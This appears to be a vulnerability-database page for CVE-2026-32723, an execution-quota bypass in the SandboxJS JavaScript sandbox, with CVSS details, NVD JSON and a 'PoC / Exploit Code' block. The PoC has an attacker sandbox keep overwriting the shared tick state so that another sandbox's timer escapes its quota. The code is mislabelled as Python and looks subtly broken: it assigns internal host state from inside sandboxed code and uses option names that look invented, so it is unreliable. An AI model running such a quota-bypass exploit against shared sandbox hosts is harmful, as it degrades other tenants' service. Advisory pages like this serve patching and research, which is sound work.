Security Vulnerability Report
中文
CVE-2026-32723 CVSS 4.7 MEDIUM

CVE-2026-32723

Published: 2026-03-18 22:16:25
Last Modified: 2026-03-19 19:20:39

Description

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.35, SandboxJS timers have an execution-quota bypass. A global tick state (`currentTicks.current`) is shared between sandboxes. Timer string handlers are compiled at execution time using that global tick state rather than the scheduling sandbox's tick object. In multi-tenant / concurrent sandbox scenarios, another sandbox can overwrite `currentTicks.current` between scheduling and execution, causing the timer callback to run under a different sandbox's tick budget and bypass the original sandbox's execution quota/watchdog. Version 0.8.35 fixes this issue.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:nyariv:sandboxjs:*:*:*:*:*:node.js:*:* - VULNERABLE
SandboxJS < 0.8.35

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-32723 PoC - SandboxJS Timer Execution Quota Bypass // This PoC demonstrates how a malicious sandbox can bypass execution quotas const Sandbox = require('sandboxjs'); async function exploit() { // Create target sandbox with strict execution limits const targetSandbox = new Sandbox({ timeout: 5000, executionQuota: 1000, // Limit to 1000 ticks eval: false }); // Create attacker sandbox const attackerSandbox = new Sandbox({ timeout: 10000, eval: false }); // Attacker code: Override global tick state before timer executes attackerSandbox.run(` // Continuously overwrite global tick state setInterval(() => { // This overwrites currentTicks.current before target timer runs currentTicks.current = { limit: Infinity, remaining: Infinity }; }, 1); `); // Target code: Schedule a timer that should be limited targetSandbox.run(` let count = 0; const timer = setInterval(() => { count++; // This should be limited by executionQuota, but gets bypassed console.log('Timer executed, count:', count); if (count >= 10000) { // Exceeds original quota clearInterval(timer); } }, 1); `); // Wait for execution await new Promise(r => setTimeout(r, 5000)); console.log('Exploit completed - timer bypassed quota limits'); } exploit().catch(console.error); // Fix: Upgrade to SandboxJS >= 0.8.35

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32723", "sourceIdentifier": "[email protected]", "published": "2026-03-18T22:16:24.827", "lastModified": "2026-03-19T19:20:39.497", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SandboxJS is a JavaScript sandboxing library. Prior to 0.8.35, SandboxJS timers have an execution-quota bypass. A global tick state (`currentTicks.current`) is shared between sandboxes. Timer string handlers are compiled at execution time using that global tick state rather than the scheduling sandbox's tick object. In multi-tenant / concurrent sandbox scenarios, another sandbox can overwrite `currentTicks.current` between scheduling and execution, causing the timer callback to run under a different sandbox's tick budget and bypass the original sandbox's execution quota/watchdog. Version 0.8.35 fixes this issue."}, {"lang": "es", "value": "SandboxJS es una biblioteca de sandboxing de JavaScript. Antes de la versión 0.8.35, los temporizadores de SandboxJS tienen una elusión de la cuota de ejecución. Un estado de tick global ('currentTicks.current') es compartido entre sandboxes. Los manejadores de cadena de temporizador se compilan en tiempo de ejecución utilizando ese estado de tick global en lugar del objeto de tick del sandbox de programación. En escenarios de sandbox multi-inquilino / concurrente, otro sandbox puede sobrescribir 'currentTicks.current' entre la programación y la ejecución, causando que el callback del temporizador se ejecute bajo el presupuesto de tick de un sandbox diferente y eluda la cuota de ejecución/watchdog del sandbox original. La versión 0.8.35 corrige este problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nyariv:sandboxjs:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "0.8.35", "matchCriteriaId": "A637641C-852B-4CD3-BCA0-7B4CCF47E687"}]}]}], "references": [{"url": "https://github.com/nyariv/SandboxJS/commit/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-7p5m-xrh7-769r", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}